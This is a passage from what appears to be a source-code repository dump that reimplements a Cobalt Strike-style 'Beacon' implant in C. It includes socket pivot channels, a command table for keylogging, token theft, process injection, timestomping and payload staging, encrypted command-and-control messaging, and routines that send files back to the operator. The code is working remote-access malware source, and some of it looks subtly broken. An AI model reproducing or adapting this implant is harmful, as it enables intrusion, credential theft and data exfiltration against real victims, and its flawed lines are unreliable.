sizeof(int));\n\t\t\t\tnumProcessedChannels++;\n\t\t\t}\n\t\t}\n\n\t\tcontinue;\n\n\tcallback_close:\n\t\tchannel->state = CHANNEL_STATE_0;\n\t\tBeaconOutput(CALLBACK_CLOSE, gChannelBuffer, sizeof(int));\n\t}\n\n\treturn numProcessedChannels;\n}\n\nvoid ChannelRemoveAllInactive()\n{\n\tCHANNEL_ENTRY* prev = NULL;\n\tfor (CHANNEL_ENTRY* channel = gChannels; channel; channel = prev->next)\n\t{\n\t\tif (!channel->state)\n\t\t{\n\t\t\tif (channel->lastActive != 0)\n\t\t\t{\n\t\t\t\tif (GetTickCount() - channel->lastActive > 1000)\n\t\t\t\t{\n\t\t\t\t\tif (channel->type == CHANNEL_TYPE_CONNECT)\n\t\t\t\t\t{\n\t\t\t\t\t\tshutdown((SOCKET)channel->socket, SD_BOTH);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (!closesocket((SOCKET)channel->socket) || channel->type != CHANNEL_TYPE_BIND)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (prev == NULL)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tgChannels = channel->next;\n\t\t\t\t\t\t\tfree(channel);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tprev->next = channel->next;\n\t\t\t\t\t\tfree(channel);\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tchannel->lastActive = GetTickCount();\n\t\t\t}\n\t\t}\n\t\tnotClosed:\n\t\tprev = channel;\n\t}\n}\n\nvoid ChannelHandleActivity()\n{\n\tfd_set writefds;\n\tfd_set exceptfds;\n\tfd_set readfds;\n\n\tint channelId = 0;\n\tstruct timeval timeout = { 0, 100 };\n\tfor (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)\n\t{\n\t\tif (channel->state != CHANNEL_STATE_2)\n\t\t\tcontinue;\n\n\t\tchannelId = htonl(channel->id);\n\n\t\tFD_ZERO(&writefds);\n\t\tFD_ZERO(&exceptfds);\n\t\tFD_ZERO(&readfds);\n\n\t\tFD_SET((SOCKET)channel->socket, &writefds);\n\t\tFD_SET((SOCKET)channel->socket, &exceptfds);\n\t\tFD_SET((SOCKET)channel->socket, &readfds);\n\n\t\tselect(0, &readfds, &writefds, &exceptfds, &timeout);\n\t\tSOCKET sock = (SOCKET)channel->socket;\n\t\tif (channel->type == CHANNEL_TYPE_BIND)\n\t\t{\n\t\t\tif (FD_ISSET(sock, &readfds))\n\t\t\t{\n\t\t\t\tsock = accept(channel->socket, NULL, NULL);\n\t\t\t\tint argp = 1; // 1 = non-blocking\n\t\t\t\tif (ioctlsocket(sock, FIONBIO, &argp) == SOCKET_ERROR)\n\t\t\t\t{\n\t\t\t\t\tclosesocket(sock);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tchannelId = ChannelGetId();\n\t\t\t\tChannelAdd(sock, channelId, 180000, CHANNEL_TYPE_CONNECT, 0, CHANNEL_STATE_1);\n\n\t\t\t\tformatp locals;\n\t\t\t\tBeaconFormatAlloc(&locals, 128);\n\t\t\t\tBeaconFormatInt(&locals, channelId);\n\t\t\t\tBeaconFormatInt(&locals, channel->port);\n\n\t\t\t\tint cbLength = BeaconFormatLength(&locals);\n\t\t\t\tchar* cbData = BeaconFormatOriginal(&locals);\n\t\t\t\tBeaconOutput(CALLBACK_ACCEPT, cbData, cbLength);\n\n\t\t\t\tBeaconFormatFree(&locals);\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\tif (channel->type == CHANNEL_TYPE_TCP_PIVOT)\n\t\t\t{\n\t\t\t\tif (FD_ISSET(sock, &readfds))\n\t\t\t\t{\n\t\t\t\t\tsock = accept(channel->socket, NULL, NULL);\n\t\t\t\t\tPROTOCOL protocol;\n\t\t\t\t\tProtocolTcpInit(&protocol, sock);\n\t\t\t\t\tLinkAdd(&protocol, channel->port | HINT_PROTO_TCP | HINT_REVERSE);\n\t\t\t\t}\n\t\t\t} else\n\t\t\t{\n\t\t\t\tint type;\n\t\t\t\tif (FD_ISSET(sock, &exceptfds))\n\t\t\t\t{\n\t\t\t\t\tchannel->state = CHANNEL_STATE_0;\n\t\t\t\t\ttype = CALLBACK_CLOSE;\n\t\t\t\t}\n\t\t\t\telse if (FD_ISSET(sock, &writefds))\n\t\t\t\t{\n\t\t\t\t\tchannel->state = CHANNEL_STATE_1;\n\t\t\t\t\ttype = CALLBACK_CONNECT;\n\t\t\t\t}\n\t\t\t\telse if (FD_ISSET(sock, &readfds))\n\t\t\t\t{\n\t\t\t\t\tsock = accept(channel->socket, NULL, NULL);\n\t\t\t\t\tchannel->socket = sock;\n\n\t\t\t\t\tif (socket == INVALID_HANDLE_VALUE)\n\t\t\t\t\t{\n\t\t\t\t\t\tchannel->state = CHANNEL_STATE_0;\n\t\t\t\t\t\ttype = CALLBACK_CLOSE;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tchannel->state = CHANNEL_STATE_1;\n\t\t\t\t\t\ttype = CALLBACK_CONNECT;\n\t\t\t\t\t}\n\t\t\t\t\tclosesocket(sock);\n\t\t\t\t}\n\t\t\t\telse if (GetTickCount() - channel->creationTime > channel->timeoutPeriod)\n\t\t\t\t{\n\t\t\t\t\tchannel->state = CHANNEL_STATE_0;\n\t\t\t\t\ttype = CALLBACK_CLOSE;\n\t\t\t\t}\n\n\t\t\t\tBeaconOutput(type, &channelId, sizeof(channelId));\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid ChannelHandleAll(void)\n{\n\tChannelHandleActivity();\n\tDWORD timeout = GetTickCount() + 3500;\n\twhile (ChannelReceiveData() > 0 && GetTickCount() < timeout) {}\n\tChannelRemoveAllInactive();\n}"
  },
  {
    "path": "Beacon/channel.h",
    "content": "#pragma once\n\nvoid ChannelListen(char* buffer, int length);\nvoid ChannelLSocketTcpPivot(char* buffer, int length);\nvoid ChannelLSocketClose(char* buffer, int length);\nvoid ChannelLSocketBind(char* buffer, int length, int ipAddress);\nvoid ChannelConnect(char* buffer, int length);\nvoid ChannelClose(char* buffer, int length);\nvoid ChannelSend(char* buffer, int length);"
  },
  {
    "path": "Beacon/command.h",
    "content": "#pragma once\n\n#define COMMAND_SPAWN 1\n#define COMMAND_SHELL 2\n#define COMMAND_DIE 3\n#define COMMAND_SLEEP 4\n#define COMMAND_CD 5\n#define COMMAND_KEYLOG_START 6\n#define COMMAND_NOOP 6\n#define COMMAND_KEYLOG_STOP 7\n#define COMMAND_CHECKIN 8\n#define COMMAND_INJECT_PID 9\n#define COMMAND_UPLOAD 10\n#define COMMAND_DOWNLOAD 11\n#define COMMAND_EXECUTE 12\n#define COMMAND_SPAWN_PROC_X86 13\n#define COMMAND_CONNECT 14\n#define COMMAND_SEND 15\n#define COMMAND_CLOSE 16\n#define COMMAND_LISTEN 17\n#define COMMAND_INJECT_PING 18\n#define COMMAND_CANCEL_DOWNLOAD 19\n#define COMMAND_PIPE_ROUTE 22\n#define COMMAND_PIPE_CLOSE 23\n#define COMMAND_PIPE_REOPEN 24\n#define COMMAND_TOKEN_GETUID 27\n#define COMMAND_TOKEN_REV2SELF 28\n#define COMMAND_TIMESTOMP 29\n#define COMMAND_STEAL_TOKEN 31\n#define COMMAND_PS_LIST 32\n#define COMMAND_PS_KILL 33\n#define COMMAND_PSH_IMPORT 37\n#define COMMAND_RUNAS 38\n#define COMMAND_PWD 39\n#define COMMAND_JOB_REGISTER 40\n#define COMMAND_JOBS 41\n#define COMMAND_JOB_KILL 42\n#define COMMAND_INJECTX64_PID 43\n#define COMMAND_SPAWNX64 44\n#define COMMAND_INJECT_PID_PING 45\n#define COMMAND_INJECTX64_PID_PING 46\n#define COMMAND_PAUSE 47\n#define COMMAND_LOGINUSER 49\n#define COMMAND_LSOCKET_BIND 50\n#define COMMAND_LSOCKET_CLOSE 51\n#define COMMAND_STAGE_PAYLOAD 52\n#define COMMAND_FILE_LIST 53\n#define COMMAND_FILE_MKDIR 54\n#define COMMAND_FILE_DRIVES 55\n#define COMMAND_FILE_RM 56\n#define COMMAND_STAGE_PAYLOAD_SMB 57\n#define COMMAND_WEBSERVER_LOCAL 59\n#define COMMAND_ELEVATE_PRE 60\n#define COMMAND_ELEVATE_POST 61\n#define COMMAND_JOB_REGISTER_IMPERSONATE 62\n#define COMMAND_SPAWN_POWERSHELLX86 63\n#define COMMAND_SPAWN_POWERSHELLX64 64\n#define COMMAND_INJECT_POWERSHELLX86_PID 65\n#define COMMAND_INJECT_POWERSHELLX64_PID 66\n#define COMMAND_UPLOAD_CONTINUE 67\n#define COMMAND_PIPE_OPEN_EXPLICIT 68\n#define COMMAND_SPAWN_PROC_X64 69\n#define COMMAND_JOB_SPAWN_X86 70\n#define COMMAND_JOB_SPAWN_X64 71\n#define COMMAND_SETENV 72\n#define COMMAND_FILE_COPY 73\n#define COMMAND_FILE_MOVE 74\n#define COMMAND_PPID 75\n#define COMMAND_RUN_UNDER_PID 76\n#define COMMAND_GETPRIVS 77\n#define COMMAND_EXECUTE_JOB 78\n#define COMMAND_PSH_HOST_TCP 79\n#define COMMAND_DLL_LOAD 80\n#define COMMAND_REG_QUERY 81\n#define COMMAND_LSOCKET_TCPPIVOT 82\n#define COMMAND_ARGUE_ADD 83\n#define COMMAND_ARGUE_REMOVE 84\n#define COMMAND_ARGUE_LIST 85\n#define COMMAND_TCP_CONNECT 86\n#define COMMAND_JOB_SPAWN_TOKEN_X86 87\n#define COMMAND_JOB_SPAWN_TOKEN_X64 88\n#define COMMAND_SPAWN_TOKEN_X86 89\n#define COMMAND_SPAWN_TOKEN_X64 90\n#define COMMAND_INJECTX64_PING 91\n#define COMMAND_BLOCKDLLS 92\n#define COMMAND_SPAWNAS_X86 93\n#define COMMAND_SPAWNAS_X64 94\n#define COMMAND_INLINE_EXECUTE 95\n#define COMMAND_RUN_INJECT_X86 96\n#define COMMAND_RUN_INJECT_X64 97\n#define COMMAND_SPAWNU_X86 98\n#define COMMAND_SPAWNU_X64 99\n#define COMMAND_INLINE_EXECUTE_OBJECT 100\n#define COMMAND_JOB_REGISTER_MSGMODE 101\n#define COMMAND_LSOCKET_BIND_LOCALHOST 102"
  },
  {
    "path": "Beacon/crypto.c",
    "content": "#include \"pch.h\"\n\n#include \"crypto.h\"\n\nint gHashSha256;\nint gAesCipher;\n\nchar gCbcKey[16];\nchar gHmacKey[16];\nchar gIv[16];\n\nsymmetric_key gRijndaelSymkey;\nsymmetric_CBC gEncryptCbc;\n\nvoid CryptoSetupSha256AES(char* in)\n{\n\n#define INIT_VECTOR \"abcdefghijklmnop\"\n\n\tchar mask[sizeof(gCbcKey) + sizeof(gHmacKey)];\n\tlong maskLen = sizeof(mask);\n\n\tregister_hash(&sha256_desc);\n\tgHashSha256 = find_hash(sha256_desc.name);\n\n\tif (hash_memory(gHashSha256, (unsigned char*)in, 16, mask, &maskLen) != CRYPT_OK)\n\t{\n\t\texit(1);\n\t}\n\n\tmemcpy(gCbcKey, mask, sizeof(gCbcKey));\n\tmemcpy(gHmacKey, mask + sizeof(gCbcKey), sizeof(gHmacKey));\n\tmemcpy(gIv, INIT_VECTOR, STRLEN(INIT_VECTOR));\n\n\tregister_cipher(&aes_desc);\n\tgAesCipher = find_cipher(aes_desc.name);\n\n\tif(rijndael_setup(gCbcKey, sizeof(gCbcKey), 0, &gRijndaelSymkey) != CRYPT_OK)\n\t{\n\t\texit(1);\n\t}\n}\n\nvoid EncryptSessionData(char* pubkey, char* in, int inlen, char* out, int* outlen)\n{\n\tregister_prng(&sprng_desc);\n\tint prng_idx = find_prng(sprng_desc.name);\n\tltc_mp = ltm_desc;\n\n\trsa_key key;\n\tif(rsa_import((unsigned char*)pubkey, 162, &key) != CRYPT_OK)\n\t{\n\t\texit(1);\n\t}\n\t\n\tif (rsa_encrypt_key_ex(in, inlen, out, outlen, \"Zz\", STRLEN(\"Zz\"), 0, prng_idx, 0, LTC_PKCS_1_V1_5, &key))\n\t{\n\t\texit(1);\n\t}\n}\n\nint CryptoAesHmacEncrypt(char* buffer, int length)\n{\n\tlength += 16 - (length % 16);\n\n\tif(cbc_start(gAesCipher, gIv, gCbcKey, sizeof(gCbcKey), 0, &gEncryptCbc) != CRYPT_OK)\n\t{\n\t\texit(1);\n\t}\n\n\tif (cbc_encrypt(buffer, buffer, length, &gEncryptCbc) != CRYPT_OK)\n\t{\n\t\texit(1);\n\t}\n\n\tif (cbc_done(&gEncryptCbc) != CRYPT_OK)\n\t{\n\t\texit(1);\n\t}\n\n\tint outlen = 16;\n\tif (hmac_memory(gHashSha256, gHmacKey, sizeof(gHmacKey), buffer, length, buffer + length, &outlen) != CRYPT_OK)\n\t{\n\t\texit(1);\n\t}\n\n\treturn length + 16;\n}"
  },
  {
    "path": "Beacon/crypto.h",
    "content": "#pragma once\n\nvoid CryptoSetupSha256AES(char* in);\n\nvoid EncryptSessionData(char* pubkey, char* in, int inlen, char* out, int* outlen);"
  },
  {
    "path": "Beacon/data.c",
    "content": "#include \"pch.h\"\n\n#include \"beacon.h\"\n\ndatap* BeaconDataAlloc(int size)\n{\n\tdatap* parser = (datap*)malloc(sizeof(datap));\n\tif (!parser)\n\t\treturn NULL;\n\n\tchar* buffer = (char*)malloc(size);\n\tif (!buffer)\n\t{\n\t\tfree(parser);\n\t\treturn NULL;\n\t}\n\n\tmemset(buffer, 0, size);\n\tBeaconDataParse(parser, buffer, size);\n\treturn parser;\n}\n\nvoid BeaconDataFree(datap* parser)\n{\n\tBeaconDataZero(parser);\n\tfree(parser->original);\n\tfree(parser);\n}\n\nvoid BeaconDataParse(datap* parser, char* buffer, int size) {\n\t*parser = (datap){ buffer, buffer, size, size };\n}\n\nchar* BeaconDataPtr(datap* parser, int size)\n{\n\tif (parser->length < size)\n\t\treturn NULL;\n\n\tchar* data = parser->buffer;\n\n\tparser->length -= size;\n\tparser->buffer += size;\n\n\treturn data;\n}\n\nint BeaconDataInt(datap* parser)\n{\n\tif (parser->length < sizeof(int))\n\t\treturn 0;\n\n\tint data = ntohl(*(int*)parser->buffer);\n\n\tparser->length -= sizeof(int);\n\tparser->buffer += sizeof(int);\n\n\treturn data;\n}\n\nshort BeaconDataShort(datap* parser)\n{\n\tif (parser->length < sizeof(short))\n\t\treturn 0;\n\n\tshort data = ntohs(*(short*)parser->buffer);\n\n\tparser->length -= sizeof(short);\n\tparser->buffer += sizeof(short);\n\n\treturn data;\n}\n\nchar BeaconDataByte(datap* parser)\n{\n\tif (parser->length < sizeof(char))\n\t\treturn 0;\n\n\tchar data = *(char*)parser->buffer;\n\n\tparser->length -= sizeof(char);\n\tparser->buffer += sizeof(char);\n\n\treturn data;\n}\n\nchar* BeaconDataStringPointer(datap* parser)\n{\n\tint size = BeaconDataInt(parser);\n\n\tif (size == 0)\n\t\treturn NULL;\n\n\treturn BeaconDataPtr(parser, size);\n}\n\nchar* BeaconDataStringPointerCopy(datap* parser, int size)\n{\n\tchar* buffer = (char*)malloc(size);\n\tBeaconDataStringCopy(parser, buffer, size);\n\treturn buffer;\n}\n\nint BeaconDataStringCopySafe(datap* parser, char* buffer, int size)\n{\n\tif (parser->length == 0)\n\t\treturn 0;\n\n\tint bufferSize = parser->length + 1;\n\tif (bufferSize >= size)\n\t\treturn 0;\n\n\tchar* ptr = BeaconDataPtr(parser, parser->length);\n\tif (!ptr)\n\t\treturn 0;\n\n\tmemcpy(buffer, ptr, parser->length);\n\tbuffer[parser->length] = 0;\n\treturn bufferSize;\n}\n\nint BeaconDataStringCopy(datap* parser, char* buffer, int size)\n{\n\tint bufferSize = parser->length + 1;\n\tif (bufferSize >= size)\n\t\treturn 0;\n\n\tmemcpy(buffer, parser->buffer, parser->length);\n\tbuffer[parser->length] = 0;\n\treturn bufferSize;\n}\n\nchar* BeaconDataOriginal(datap* parser)\n{\n\treturn parser->original;\n}\n\nchar* BeaconDataBuffer(datap* parser)\n{\n\treturn parser->buffer;\n}\n\nint BeaconDataLength(datap* parser)\n{\n\treturn parser->length;\n}\n\nchar* BeaconDataLengthAndString(datap* parser, sizedbuf* sb)\n{\n\tint size = BeaconDataInt(parser);\n\tchar* data = BeaconDataPtr(parser, size);\n\n\t*sb = (sizedbuf){ data, size };\n\n\treturn sb->buffer;\n}\n\nchar* BeaconDataExtract(datap* parser, int* size)\n{\n\tsizedbuf sb;\n\tBeaconDataLengthAndString(parser, &sb);\n\n\tif (size)\n\t\t*size = sb.size;\n\n\tif (sb.size == 0)\n\t\treturn NULL;\n\n\treturn sb.buffer;\n}\n\nvoid BeaconDataZero(datap* parser)\n{\n\tmemset(parser->original, 0, parser->size);\n}"
  },
  {
    "path": "Beacon/download.c",
    "content": "#include \"pch.h\"\n\n#include \"download.h\"\n\n#include \"beacon.h\"\n\ntypedef struct DOWNLOAD_ENTRY\n{\n\tint fid;\n\tint remainingData;\n\tFILE* file;\n\tstruct DOWNLOAD_ENTRY* next;\n} DOWNLOAD_ENTRY;\n\nDOWNLOAD_ENTRY* gDownloads = NULL;\nint gDownloadFid = 0;\n\nvoid DownloadCancel(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint fid = BeaconDataInt(&parser);\n\tfor (DOWNLOAD_ENTRY* download = gDownloads; download; download = download->next)\n\t{\n\t\tif (download->fid == fid)\n\t\t{\n\t\t\tdownload->remainingData = 0;\n\t\t\tfclose(download->file);\n\t\t}\n\t}\n}\n\nvoid DownloadDo(char* buffer, int length)\n{\n#define MAX_FILENAME 2048\n#define MAX_BUFFER 2048\n\n\tdatap* locals = BeaconDataAlloc(MAX_FILENAME + MAX_BUFFER);\n\tchar* lpFileName = BeaconDataPtr(locals, MAX_FILENAME);\n\tchar* lpBuffer = BeaconDataPtr(locals, MAX_BUFFER);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tBeaconDataStringCopy(&parser, lpFileName, MAX_FILENAME);\n\n\tFILE* file = fopen(lpFileName, \"rb\");\n\tif (file == INVALID_HANDLE_VALUE || file == NULL)\n\t{\n\t\tLERROR(\"Could not open '%s'\", lpFileName);\n\t\tBeaconErrorS(ERROR_DOWNLOAD_OPEN_FAILED, lpFileName);\n\t\tgoto cleanup;\n\t}\n\n\tfseek(file, 0, SEEK_END);\n\tlong long fileSize = _ftelli64(file);\n\tfseek(file, 0, SEEK_SET);\n\n\tif (fileSize == INVALID_FILE_SIZE)\n\t{\n\t\tLERROR(\"File '%s' is either too large (>4GB) or size check failed\");\n\t\tBeaconErrorS(ERROR_DOWNLOAD_SIZE_CHECK_FAILED, lpFileName);\n\n\t\tfclose(file);\n\t\tgoto cleanup;\n\t}\n\n\tfileSize = (int)fileSize; // Now this truncates to 32-bit safely\n\n\tint fullPathSize = GetFullPathNameA(lpFileName, MAX_FILENAME, lpBuffer, NULL);\n\tif (fullPathSize > MAX_FILENAME)\n\t{\n\t\tLERROR(\"Could not determine full path of '%s'\"; , lpFileName);\n\t\tBeaconErrorS(ERROR_DOWNLOAD_PATH_TOO_LONG, lpFileName);\n\n\t\tfclose(file);\n\t\tgoto cleanup;\n\t}\n\n\tDOWNLOAD_ENTRY* download = malloc(sizeof(DOWNLOAD_ENTRY));\n\t*download = DOWNLOAD_ENTRY{\n\t\t.fid = gDownloadFid++,\n\t\t.remainingData = fileSize,\n\t\t.file = file,\n\t\t.next = gDownloads\n\t};\n\tgDownloads = download;\n\n\tformatp format;\n\tBeaconFormatAlloc(&format, MAX_FILENAME + MAX_BUFFER);\n\tBeaconFormatInt(&format, download->fid);\n\tBeaconFormatInt(&format, fileSize);\n\tBeaconFormatAppend(&format, lpBuffer, fullPathSize);\n\n\tint cbLength = BeaconDataLength(&format);\n\tchar* cbBuffer = BeaconDataOriginal(&format);\n\tBeaconOutput(CALLBACK_FILE, cbBuffer, cbLength);\n\n\tBeaconFormatFree(&format);\n\n\tcleanup:\n\tBeaconDataFree(locals);\n}\n\nvoid Upload(char* buffer, int length, char* mode)\n{\n\tchar* lpFileName = malloc(0x400);\n\tif(lpFileName == NULL)\n\t\treturn;\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint filenameSize = BeaconDataStringCopySafe(&parser, lpFileName, 0x400);\n\tif (filenameSize == 0)\n\t\tgoto cleanup;\n\n\tFILE* file = fopen(lpFileName, mode);\n\tif (file == INVALID_HANDLE_VALUE || file == NULL)\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not upload file: %s\", LAST_ERROR_STR(error));\n\t\tBeaconErrorD(ERROR_UPLOAD_OPEN_FAILED, lastError);\n\t\tgoto cleanup;\n\t}\n\n\tint remaining = BeaconDataLength(&parser);\n\tchar* data = BeaconDataBuffer(&parser);\n\tfwrite(data, sizeof(char), remaining, file);\n\tfclose(file);\n\n\tcleanup:\n\tfree(lpFileName);\n}\n\nvoid DownloadCloseSafely(DOWNLOAD_ENTRY* download)\n{\n\tif (download->remainingData != 0)\n\t\treturn;\n\n\tint id = htonl(download->fid);\n\tBeaconOutput(CALLBACK_FILE_CLOSE, (char*)&id, sizeof(int));\n\tfclose(download->file);\n}\n\ntypedef struct DOWNLOAD_CHUNK\n{\n\tint fid;\n\tchar remainingData[0x80000];\n} DOWNLOAD_CHUNK;\n\nvoid DownloadFileChunk(DOWNLOAD_ENTRY* download, int chunkMaxSize)\n{\n\tstatic DOWNLOAD_CHUNK* gDownloadChunk;\n\n\tif(gDownloadChunk)\n\t\treturn;\n\n\tgDownloadChunk = malloc(sizeof(DOWNLOAD_CHUNK));\n\tgDownloadChunk->fid = htonl(download->fid);\n\tint toRead = min(chunkMaxSize, download->remainingData);\n\n\tint totalRead = 0;\n\twhile (toRead)\n\t{\n\t\tconst int read = fread(gDownloadChunk->remainingData + totalRead, 1, toRead, download->file);\n\t\tif (!read)\n\t\t{\n\t\t\tdownload->remainingData = 0;\n\t\t\tbreak;\n\t\t}\n\n\t\tdownload->remainingData -= read;\n\t\ttotalRead += read;\n\t\ttoRead -= read;\n\t}\n\n\tBeaconOutput(CALLBACK_FILE_WRITE, (char*)&gDownloadChunk, totalRead + sizeof(int));\n\tDownloadCloseSafely(download);\n}\n\nvoid DownloadHandleAll(int chunkMaxSize)\n{\n\tDOWNLOAD_ENTRY* prev = NULL;\n\tfor (DOWNLOAD_ENTRY* download = gDownloads; download; download = download->next)\n\t{\n\t\tif (download->remainingData == 0)\n\t\t{\n\t\t\tif (prev == NULL)\n\t\t\t{\n\t\t\t\tgDownloads = download->next;\n\t\t\t\tfree(download);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprev->next = download->next;\n\t\t\tfree(download);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tDownloadFileChunk(download, chunkMaxSize);\n\t\t\tprev = download;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Beacon/download.h",
    "content": "#pragma once\n\nvoid DownloadDo(char* buffer, int length);\n\nvoid DownloadCancel(char* buffer, int length);\n\nvoid Upload(char* buffer, int length, char* mode);\n"
  },
  {
    "path": "Beacon/error.h",
    "content": "#pragma once\n\n#define ERROR_OPEN_TOKEN_FAILED 1\n#define ERROR_MAXIMUM_LINKS_REACHED 2\n#define ERROR_CONNECT_TO_PIPE_TIMEOUT 4\n#define ERROR_LENGTHY_WIDECHAR_COMMAND 7\n#define ERROR_UPLOAD_OPEN_FAILED 8\n#define ERROR_POST_IMPERSONATE_TOKEN_FAILED 12\n#define ERROR_COPY_FAILED 13\n#define ERROR_MOVE_FAILED 14\n#define ERROR_PARENT_PROCESS_NOT_IN_SAME_SESSION 15\n#define ERROR_WRITE_TO_PROC_MEMORY_FAILED 16\n#define ERROR_ADJUST_PERMISSIONS_FAILED 17\n#define ERROR_INJECT_X86_INTO_X64 18\n#define ERROR_INJECT_X64_INTO_X86 19\n#define ERROR_CONNECT_TO_PIPE_FAILED 20\n#define ERROR_SOCKET_CREATE_BIND_FAILED 21\n#define ERROR_CREATE_TOKEN_FAILED 24\n#define ERROR_IMPERSONATE_TOKEN_FAILED 25\n#define ERROR_LOCAL_ALLOC_FAILED 31\n#define ERROR_OPEN_PROCESS_FAILED 33\n#define ERROR_SET_PID_FAILED 34\n#define ERROR_KILL_FAILED 35\n#define ERROR_OPEN_PROCESS_TOKEN_FAILED 36\n#define ERROR_IMPERSONATE_STEAL_TOKEN_FAILED 37\n#define ERROR_DUPLICATE_TOKEN_FAILED 38\n#define ERROR_IMPERSONATE_LOGGED_ON_USER_FAILED 39\n#define ERROR_DOWNLOAD_OPEN_FAILED 40\n#define ERROR_SPAWN_PROCESS_AS_USER_FAILED 41\n#define ERROR_SPAWN_PROCESS_FAILED 48\n#define ERROR_STAGER_VIA_PIPE_CONNECTION_FAILED 50\n#define ERROR_LIST_OPEN_FAILED 52\n#define ERROR_RUN_AS_USER_FAILED 53\n#define ERROR_OPEN_PROCESS_TOKEN_PRIVS_FAILED 59\n#define ERROR_DOWNLOAD_SIZE_CHECK_FAILED 60\n#define ERROR_DOWNLOAD_PATH_TOO_LONG 61\n#define ERROR_ADJUST_ARGUMENTS_FAILED 65\n#define ERROR_REAL_FAKE_ARGS_NO_MATCH 66\n#define ERROR_ADJUST_ARGUMENTS_BY_ARCH_FAILED 67\n#define ERROR_CONNECT_TO_TARGET_FAILED 68\n#define ERROR_SPAWN_TOKEN_AND_CREDS 69\n#define ERROR_STAGER_VIA_TCP_CONNECTION_FAILED 70\n#define ERROR_UPDATE_PROC_THREAD_ATTRIBUTE_LIST_FAILED 71\n#define ERROR_CREATE_REMOTE_THREAD_FAILED 72\n#define ERROR_ALLOC_SECTION_FAILED 73\n#define ERROR_SPAWN_TOKEN_EXTENDED_STARTUPINFO 74\n#define ERROR_RESOLVE_API_FAILED 76\n#define ERROR_RELOCATION_TRUNCATED_TO_FIT 77\n#define ERROR_NO_SLOT_FOR_FUNCTION 78\n#define ERROR_UNIMPLEMENTED_RELOCATION_TYPE 79"
  },
  {
    "path": "Beacon/filesystem.c",
    "content": "#include \"pch.h\"\n\n#include \"filesystem.h\"\n\n#include \"beacon.h\"\n\nvoid FilesystemCd(char* buffer, int length)\n{\n\tchar path[1024];\n\n\tif (length > sizeof(path))\n\t\treturn;\n\n\tstrncpy(path, buffer, length);\n\tpath[length] = '\\0';\n\n\tSetCurrentDirectoryA(path);\n}\n\nvoid FilesystemPwd()\n{\n\tchar data[2048];\n\tint length = GetCurrentDirectoryA(sizeof(data), data);\n\tif (length == 0)\n\t\treturn;\n\tBeaconOutput(CALLBACK_PWD, data, length);\n}\n\nvoid FilesystemMkdir(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tchar* path = BeaconDataStringPointerCopy(&parser, 0x4000);\n\n\t// Create the directory\n\tCreateDirectoryA(path, NULL);\n\n\tfree(path);\n}\n\nvoid FilesystemMove(char* buffer, int length)\n{\n#define MAX_SRC 0x2000\n#define MAX_DST 0x2000\n\tdatap* locals = BeaconDataAlloc(MAX_SRC + MAX_DST);\n\tchar* src = BeaconDataPtr(locals, MAX_SRC);\n\tchar* dst = BeaconDataPtr(locals, MAX_DST);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tBeaconDataStringCopySafe(&parser, src, MAX_SRC);\n\tBeaconDataStringCopySafe(&parser, dst, MAX_DST);\n\n\t// Move the file\n\tif(!MoveFileA(src, dst))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Move failed: %s\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_MOVE_FAILED, lastError);\n\t}\n\n\tBeaconDataFree(locals);\n}\n\nvoid FilesystemCopy(char* buffer, int length)\n{\n#define MAX_EXISTING_FILENAME 0x2000\n#define MAX_NEW_FILENAME 0x2000\n\tdatap* locals = BeaconDataAlloc(MAX_EXISTING_FILENAME + MAX_NEW_FILENAME);\n\tchar* existingFileName = BeaconDataPtr(locals, MAX_EXISTING_FILENAME);\n\tchar* newFileName = BeaconDataPtr(locals, MAX_NEW_FILENAME);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tBeaconDataStringCopySafe(&parser, existingFileName, MAX_EXISTING_FILENAME);\n\tBeaconDataStringCopySafe(&parser, newFileName, MAX_NEW_FILENAME);\n\n\t// Copy the file\n\tif (!CopyFileA(existingFileName, newFileName, FALSE))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Copy failed: %s\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_COPY_FAILED, lastError);\n\t}\n\n\tBeaconDataFree(locals);\n}\n\nvoid FilesystemDrives(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\n\tformatp locals;\n\tBeaconFormatAlloc(&locals, 128);\n\n\tint value = BeaconDataInt(&parser);\n\tBeaconFormatInt(&locals, value);\n\n\tint logicalDrives = GetLogicalDrives();\n\tBeaconFormatPrintf(&locals, \"%u\", logicalDrives);\n\n\tint size = BeaconFormatLength(&locals);\n\tchar* data = BeaconFormatOriginal(&locals);\n\tBeaconOutput(CALLBACK_PENDING, data, size);\n\n\tBeaconFormatFree(&locals);\n}\n\nvoid FilesystemList(char* buffer, int length)\n{\n#define MAX_FILENAME 0x4000\n\tchar* filename = malloc(MAX_FILENAME);\n\t*filename = { 0 };\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint reqno = BeaconDataInt(&parser);\n\tBeaconDataStringCopySafe(&parser, filename, MAX_FILENAME);\n\n\tformatp locals;\n\tBeaconFormatAlloc(&locals, 